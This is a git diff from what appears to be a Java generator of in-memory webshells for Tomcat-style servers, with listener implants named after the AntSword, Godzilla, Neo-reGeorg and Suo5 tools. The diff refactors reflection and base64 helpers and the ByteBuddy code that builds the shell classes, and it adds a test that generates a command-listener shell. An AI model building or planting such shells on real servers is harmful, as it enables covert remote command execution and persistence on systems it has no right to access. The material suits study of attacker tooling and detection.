diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java index 0f90e3ba..a0b98518 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java @@ -6,8 +6,11 @@ import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.ByteBuddy; import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.description.modifier.Ownership; +import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.loading.ClassLoadingStrategy; +import net.bytebuddy.implementation.FixedValue; import java.util.Collections; @@ -21,19 +24,32 @@ public class ListenerGenerator { public static Class generateListenerShellClass(Class implInterceptor, Class targetClass) { String newClassName = targetClass.getName() + CommonUtil.getRandomString(5); + boolean needAddGetFieldValue = false; + try { + targetClass.getMethod("getFieldValue", Object.class, String.class); + } catch (NoSuchMethodException e) { + needAddGetFieldValue = true; + } - try (DynamicType.Unloaded unloaded = new ByteBuddy() + DynamicType.Builder builder = new ByteBuddy() .redefine(targetClass) - .name(newClassName) - .visit(new AsmVisitorWrapper.ForDeclaredMethods() + .name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods() .method(named("getResponseFromRequest"), new MethodCallReplaceVisitorWrapper( newClassName, Collections.singleton(ShellCommonUtil.class.getName())) ) ) - .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest"))) - .make()) { + .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest"))); + + if (needAddGetFieldValue) { + builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC) + .withParameters(Object.class, String.class) + .intercept(FixedValue.nullValue()) + .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue"))); + } + + try (DynamicType.Unloaded unloaded = builder.make()) { return unloaded .load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT) .getLoaded(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java b/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java index ed9f4d6f..67301a9b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.memshell.utils; +import net.bytebuddy.asm.Advice; + import java.lang.reflect.Field; /** @@ -8,6 +10,7 @@ import java.lang.reflect.Field; */ public class ShellCommonUtil { + @SuppressWarnings("all") public static Object getFieldValue(Object obj, String name) throws Exception { Field field = null; Class clazz = obj.getClass(); @@ -26,4 +29,74 @@ public class ShellCommonUtil { return field.get(obj); } } + + public static class GetFieldValueInterceptor { + @Advice.OnMethodExit + @SuppressWarnings("all") + public static void exit(@Advice.Argument(value = 0) Object obj, + @Advice.Argument(value = 1) String name, + @Advice.Return(readOnly = false) Object returnValue + ) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + returnValue = field.get(obj); + return; + } + } + } + + + @SuppressWarnings("all") + public static String base64DecodeToString(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value == null ? "" : new String(value); + } + + public static class Base64DecodeToStringInterceptor { + + @Advice.OnMethodExit + @SuppressWarnings("all") + public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + returnValue = value == null ? "" : new String(value); + } + } } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java new file mode 100644 index 00000000..894bd0da --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java @@ -0,0 +1,20 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.memshell.server.TomcatShell; +import com.reajason.javaweb.memshell.shelltool.command.CommandListener; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertNotNull; + +/** + * @author ReaJason + * @since 2025/4/27 + */ +class ListenerGeneratorTest { + + @Test + void testCommonListener() { + Class clazz = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, CommandListener.class); + assertNotNull(clazz); + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java index 7d2dc2df..5b584aeb 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java @@ -4,7 +4,6 @@ import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import java.lang.reflect.Field; /** * @author ReaJason @@ -22,26 +21,6 @@ public class AntSwordListener extends ClassLoader implements ServletRequestListe super(z); } - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - @SuppressWarnings("all") public static byte[] base64Decode(String bs) { byte[] value = null; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java index cd77acd4..905239c5 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java @@ -6,7 +6,6 @@ import javax.servlet.ServletRequestListener; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; -import java.lang.reflect.Field; /** * @author ReaJason @@ -45,25 +44,4 @@ public class CommandListener implements ServletRequestListener { private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { return null; } - - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java index 1e72820f..589a1014 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java @@ -8,7 +8,6 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; -import java.lang.reflect.Field; /** * @author ReaJason @@ -27,26 +26,6 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe super(z); } - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - @SuppressWarnings("all") public static String base64Encode(byte[] bs) throws Exception { String value = null; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java index 5d54ed7c..cb51b97c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java @@ -39,27 +39,6 @@ public class NeoreGeorgListener extends ClassLoader implements ServletRequestLis return super.defineClass(cb, 0, cb.length); } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - @SuppressWarnings("all") public static byte[] gzipDecompress(byte[] compressedData) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java index 897ecdfd..d065fc27 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java @@ -571,26 +571,6 @@ public class Suo5Listener implements ServletRequestListener, Runnable, HostnameV } } - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { return null; }